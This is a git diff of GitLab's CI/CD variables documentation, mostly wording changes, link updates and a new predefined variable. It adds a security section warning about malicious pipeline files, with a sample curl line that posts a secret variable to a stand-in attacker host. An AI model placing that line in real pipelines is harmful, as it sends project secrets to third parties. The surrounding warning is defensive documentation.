diff options
Diffstat (limited to 'doc/ci/variables')
| -rw-r--r-- | doc/ci/variables/README.md | 67 | ||||
| -rw-r--r-- | doc/ci/variables/predefined_variables.md | 7 | ||||
| -rw-r--r-- | doc/ci/variables/where_variables_can_be_used.md | 16 |
3 files changed, 55 insertions, 35 deletions
diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 8f0ec75973c..1a982fa4e19 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -35,15 +35,15 @@ You can call issue numbers, user names, branch names, pipeline and commit IDs, and much more. Predefined environment variables are provided by GitLab -for the local environment of the Runner. +for the local environment of the runner. GitLab reads the `.gitlab-ci.yml` file and sends the information -to the Runner, where the variables are exposed. The Runner then runs the script commands. +to the runner, where the variables are exposed. The runner then runs the script commands. ### Use predefined environment variables You can choose one of the existing predefined variables -to be output by the Runner. +to be output by the runner. This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`. @@ -57,7 +57,7 @@ test_variable: - echo $CI_JOB_STAGE ``` -In this case, the Runner outputs the `stage` for the +In this case, the runner outputs the `stage` for the job `test_variable`, which is `test`:  @@ -84,7 +84,7 @@ When you need a specific custom environment variable, you can [set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md), or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml). -The variables are used by the Runner any time the pipeline runs. +The variables are used by the runner any time the pipeline runs. You can also [override variable values manually for a specific pipeline](../pipelines/index.md#specifying-variables-when-running-manual-jobs). There are two types of variables: **Variable** and **File**. You cannot set types in @@ -131,21 +131,40 @@ After you set a variable, call it from the `.gitlab-ci.yml` file: test_variable: stage: test script: - - echo $CI_JOB_STAGE # calls a predefined variable - - echo $TEST # calls a custom variable of type `env_var` - - echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file - - cat $GREETING # the temp file itself contains the variable value + - echo $CI_JOB_STAGE # calls a predefined variable + - echo $TEST # calls a custom variable of type `env_var` + - echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file + - cat $GREETING # the temp file itself contains the variable value ``` The output is:  +Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions). + +#### Security + +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables. + +All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before: + +- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project). +- Merging the changes. + +Here is a simplified example of a malicious `.gitlab-ci.yml`: + +```yaml +build: + script: + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/ +``` + ### Custom environment variables of type Variable > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. -For variables with the type **Variable**, the Runner creates an environment variable +For variables with the type **Variable**, the runner creates an environment variable that uses the key for the name and the value for the value. There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type, @@ -155,8 +174,8 @@ which may be further validated. They appear when you add or update a variable in > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. -For variables with the type **File**, the Runner creates an environment variable that uses the key for the name. -For the value, the Runner writes the variable value to a temporary file and uses this path. +For variables with the type **File**, the runner creates an environment variable that uses the key for the name. +For the value, the runner writes the variable value to a temporary file and uses this path. You can use tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) @@ -215,8 +234,8 @@ You can't mask variables that don't meet these requirements. > Introduced in GitLab 9.3. Variables can be protected. When a variable is -protected, it is securely passed to pipelines running on -[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only. The other pipelines do not get +protected, it is only passed to pipelines running on +[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get the protected variable. To protect a variable: @@ -227,8 +246,7 @@ To protect a variable: 1. Select the **Protect variable** check box. 1. Click **Update variable**. -The variable is available for all subsequent pipelines. Protected variables can only -be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions). +The variable is available for all subsequent pipelines. ### Custom variables validated by GitLab @@ -250,7 +268,7 @@ All variables are set as environment variables in the build environment, and they are accessible with normal methods that are used to access such variables. In most cases `bash` or `sh` is used to execute the job script. -To access environment variables, use the syntax for your Runner's [shell](https://docs.gitlab.com/runner/executors/). +To access environment variables, use the syntax for your runner's [shell](https://docs.gitlab.com/runner/executors/). | Shell | Usage | |----------------------|------------------------------------------| @@ -413,7 +431,7 @@ script: You can define per-project or per-group variables that are set in the pipeline environment. Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`) and are securely passed to GitLab Runner, -which makes them available during a pipeline run. For Premium users who do **not** use an external key store or who use GitLab's [integration with HashiCorp Vault](../examples/authenticating-with-hashicorp-vault/index.md), we recommend using group environment variables to store secrets like passwords, SSH keys, and credentials. +which makes them available during a pipeline run. For Premium users who do **not** use an external key store or who use GitLab's [integration with HashiCorp Vault](../secrets/index.md), we recommend using group environment variables to store secrets like passwords, SSH keys, and credentials. Group-level variables can be added by: @@ -445,7 +463,7 @@ To add an instance-level variable: 1. Click the **Add variable** button, and fill in the details: - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces. - - **Value**: [Since GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected Runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed. + - **Value**: [Since GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed. - **Type**: `File` or `Variable`. - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#masked-variable-requirements). @@ -493,7 +511,7 @@ build: deploy: stage: deploy script: - - echo $BUILD_VERSION # => hello + - echo $BUILD_VERSION # => hello dependencies: - build ``` @@ -512,7 +530,7 @@ build: deploy: stage: deploy script: - - echo $BUILD_VERSION # => hello + - echo $BUILD_VERSION # => hello needs: - job: build artifacts: true @@ -529,6 +547,7 @@ The order of precedence for variables is (from highest to lowest): and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline). 1. Project-level [variables](#custom-environment-variables) or [protected variables](#protect-a-custom-variable). 1. Group-level [variables](#group-level-environment-variables) or [protected variables](#protect-a-custom-variable). +1. Instance-level [variables](#instance-level-cicd-environment-variables) or [protected variables](#protect-a-custom-variable). 1. [Inherited environment variables](#inherit-environment-variables). 1. YAML-defined [job-level variables](../yaml/README.md#variables). 1. YAML-defined [global variables](../yaml/README.md#variables). @@ -608,7 +627,7 @@ Choose the branch you want to run the pipeline for, then add a variable and its  -The Runner overrides the value previously set and uses the custom +The runner overrides the value previously set and uses the custom value for this specific pipeline.  @@ -748,7 +767,7 @@ so `&&` is evaluated before `||`. > - It's deployed behind a feature flag, enabled by default. > - It's enabled on GitLab.com. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables-core-only). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(CORE ONLY)** It is possible to use parentheses to group conditions. Parentheses have the highest precedence of all operators. Expressions enclosed in parentheses are evaluated first, @@ -831,7 +850,7 @@ output **will** contain the content of all your variables and any other secrets! The output **will** be uploaded to the GitLab server and made visible in job logs! -By default, GitLab Runner hides most of the details of what it is doing when +By default, the runner hides most of the details of what it is doing when processing a job. This behavior keeps job logs short, and prevents secrets from being leaked into the log unless your script writes them to the screen. diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index c79ea4b0d05..915041b71a6 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -12,7 +12,7 @@ For an introduction on this subject, read through the Some of the predefined environment variables are available only if a minimum version of [GitLab Runner](https://docs.gitlab.com/runner/) is used. Consult the table below to find the -version of Runner required. +version of GitLab Runner that's required. NOTE: **Note:** Starting with GitLab 9.0, we have deprecated some variables. Read the @@ -43,6 +43,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Present only when building branches. | | `CI_COMMIT_TAG` | 9.0 | 0.5 | The commit tag name. Present only when building tags. | | `CI_COMMIT_TITLE` | 10.8 | all | The title of the commit - the full first line of the message | +| `CI_COMMIT_TIMESTAMP` | 13.4 | all | The timestamp of the commit in the ISO 8601 format. | | `CI_CONCURRENT_ID` | all | 11.10 | Unique ID of build execution within a single executor. | | `CI_CONCURRENT_PROJECT_ID` | all | 11.10 | Unique ID of build execution within a single executor and project. | | `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to CI configuration file. Defaults to `.gitlab-ci.yml` | @@ -69,7 +70,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_JOB_NAME` | 9.0 | 0.5 | The name of the job as defined in `.gitlab-ci.yml` | | `CI_JOB_STAGE` | 9.0 | 0.5 | The name of the stage as defined in `.gitlab-ci.yml` | | `CI_JOB_TOKEN` | 9.0 | 1.2 | Token used for authenticating with the [GitLab Container Registry](../../user/packages/container_registry/index.md), downloading [dependent repositories](../../user/project/new_ci_build_permissions_model.md#dependent-repositories), and accessing [GitLab-managed Terraform state](../../user/infrastructure/index.md#gitlab-managed-terraform-state). | -| `CI_JOB_JWT` | 12.10 | all | RS256 JSON web token that can be used for authenticating with third party systems that support JWT authentication, for example [HashiCorp's Vault](../examples/authenticating-with-hashicorp-vault). | +| `CI_JOB_JWT` | 12.10 | all | RS256 JSON web token that can be used for authenticating with third party systems that support JWT authentication, for example [HashiCorp's Vault](../secrets/index.md). | | `CI_JOB_URL` | 11.1 | 0.5 | Job details URL | | `CI_KUBERNETES_ACTIVE` | 13.0 | all | Included with the value `true` only if the pipeline has a Kubernetes cluster available for deployments. Not included if no cluster is available. Can be used as an alternative to [`only:kubernetes`/`except:kubernetes`](../yaml/README.md#onlykubernetesexceptkubernetes) with [`rules:if`](../yaml/README.md#rulesif) | | `CI_MERGE_REQUEST_ASSIGNEES` | 11.9 | all | Comma-separated list of username(s) of assignee(s) for the merge request if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Available only if `only: [merge_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the merge request is created. | @@ -119,7 +120,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_RUNNER_EXECUTABLE_ARCH` | all | 10.6 | The OS/architecture of the GitLab Runner executable (note that this is not necessarily the same as the environment of the executor) | | `CI_RUNNER_ID` | 8.10 | 0.5 | The unique ID of runner being used | | `CI_RUNNER_REVISION` | all | 10.6 | GitLab Runner revision that is executing the current job | -| `CI_RUNNER_SHORT_TOKEN` | all | 12.3 | First eight characters of GitLab Runner's token used to authenticate new job requests. Used as Runner's unique ID | +| `CI_RUNNER_SHORT_TOKEN` | all | 12.3 | First eight characters of the runner's token used to authenticate new job requests. Used as the runner's unique ID | | `CI_RUNNER_TAGS` | 8.10 | 0.5 | The defined runner tags | | `CI_RUNNER_VERSION` | all | 10.6 | GitLab Runner version that is executing the current job | | `CI_SERVER` | all | all | Mark that job is executed in CI environment | diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index 2f26fddc808..330b960ca9a 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -18,13 +18,13 @@ This document describes where and how the different types of variables can be us There are two places defined variables can be used. On the: 1. GitLab side, in `.gitlab-ci.yml`. -1. The runner side, in `config.toml`. +1. The GitLab Runner side, in `config.toml`. ### `.gitlab-ci.yml` file | Definition | Can be expanded? | Expansion place | Description | |:-------------------------------------------|:-----------------|:-----------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `environment:url` | yes | GitLab | The variable expansion is made by GitLab's [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism).<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in Runner's `config.toml` and variables created in job's `script`. | +| `environment:url` | yes | GitLab | The variable expansion is made by GitLab's [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism).<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in the GitLab Runner `config.toml` and variables created in the job's `script`. | | `environment:name` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | | `resource_group` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | | `variables` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | @@ -39,13 +39,13 @@ There are two places defined variables can be used. On the: ### `config.toml` file NOTE: **Note:** -You can read more about `config.toml` in the [Runner's docs](https://docs.gitlab.com/runner/configuration/advanced-configuration.html). +You can read more about `config.toml` in the [GitLab Runner docs](https://docs.gitlab.com/runner/configuration/advanced-configuration.html). | Definition | Can be expanded? | Description | |:-------------------------------------|:-----------------|:---------------------------------------------------------------------------------------------------------------------------------------------| -| `runners.environment` | yes | The variable expansion is made by the Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | -| `runners.kubernetes.pod_labels` | yes | The Variable expansion is made by the Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | -| `runners.kubernetes.pod_annotations` | yes | The Variable expansion is made by the Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | +| `runners.environment` | yes | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | +| `runners.kubernetes.pod_labels` | yes | The Variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | +| `runners.kubernetes.pod_annotations` | yes | The Variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | ## Expansion mechanisms @@ -59,7 +59,7 @@ There are three expansion mechanisms: The expanded part needs to be in a form of `$variable`, or `${variable}` or `%variable%`. Each form is handled in the same way, no matter which OS/shell will finally handle the job, -since the expansion is done in GitLab before any Runner will get the job. +since the expansion is done in GitLab before any runner will get the job. ### GitLab Runner internal variable expansion mechanism @@ -67,7 +67,7 @@ since the expansion is done in GitLab before any Runner will get the job. variables from triggers, pipeline schedules, and manual pipelines. - Not supported: variables defined inside of scripts (e.g., `export MY_VARIABLE="test"`). -The Runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle +The runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle only variables defined as `$variable` and `${variable}`. What's also important, is that the expansion is done only once, so nested variables may or may not work, depending on the ordering of variables definitions. |